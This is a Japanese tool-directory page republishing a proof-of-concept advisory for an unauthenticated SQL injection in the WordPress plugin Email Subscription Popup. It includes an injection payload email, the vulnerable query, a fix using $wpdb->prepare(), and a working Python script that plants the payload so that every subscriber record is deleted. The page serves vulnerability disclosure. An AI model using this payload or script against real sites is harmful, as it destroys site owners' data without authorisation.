Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-24587 — CVE-2025-24587のPoC | Kitploit
ツール/GitHubGitHub/dottak/cve-2025-24587
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubdottak/cve-2025-24587

CVE-2025-24587

CVE-2025-24587のPoC

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-24587

1️⃣ コンポーネントタイプ

WordPress プラグイン

2️⃣ コンポーネント詳細

コンポーネント名 Email Subscription Popup

影響を受けるバージョン <= 1.2.23

コンポーネントスラッグ email-subscribe

コンポーネントリンク https://wordpress.org/plugins/email-subscribe/

3️⃣ OWASP 2017: TOP 10

脆弱性クラス A3: Injection

脆弱性タイプ SQL Injection

4️⃣ 前提条件

未認証

5️⃣ 脆弱性の詳細

👉 概要

認証されていないユーザー(攻撃者)が、SQL インジェクションペイロードを含むメールアドレスを使用してニュースレターに登録します。その後、管理者が「Subscriber Management」ページに移動し、悪意のあるメールアドレスを選択して削除を要求すると、メールアドレスに埋め込まれた SQL インジェクションペイロードが実行されます。その結果、登録済みのすべてのメールアドレスがデータベースから削除されます。

👉 再現方法(PoC)

  1. 「Email Subscription Popup」プラグイン(バージョン ≤ 1.2.23)が有効化された WordPress サイトを準備します。
  2. Python を使用して添付の poc.py.txt ファイルを実行し、SQL インジェクションの脆弱性を誘発するペイロードを含むメールアドレスでニュースレターに登録します。
    • メールアドレス: '/**/OR/**/1=1#@a.a
    • 注: このメールアドレスでの登録は、検証のためクライアント(ブラウザ)からは実行できません。代わりに、poc.py.txt に示されているとおり、HTTP リクエストパケットを直接送信してください。
  3. 管理者としてログインし、次の URL に移動します: http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.
  4. メールアドレス '/****/**OR**/****/1=1#@a.a を選択し、下部にある「Delete Selected Subscribers」ボタンをクリックします。
  5. その結果、登録済みのすべてのメールアドレスが削除されます。

👉 追加情報(任意)

[脆弱性の原因]

この脆弱性は、ファイル wp-content/plugins/email-subscribe/wp-email-subscription.php の 2080 行目から 2084 行目にかけて発生します:

root@kitploit:~
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);

この問題を解決するには、WordPress が提供する $wpdb->prepare() を使用できます。この関数は、SQL クエリで使用される変数を安全にエスケープし、書式設定することで、SQL インジェクション攻撃を防ぎます。

root@kitploit:~
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);

⭐ PoC コード

root@kitploit:~
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()

6️⃣ エクスプロイトデモ

video

7️⃣ 参照

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24587
ツールをダウンロード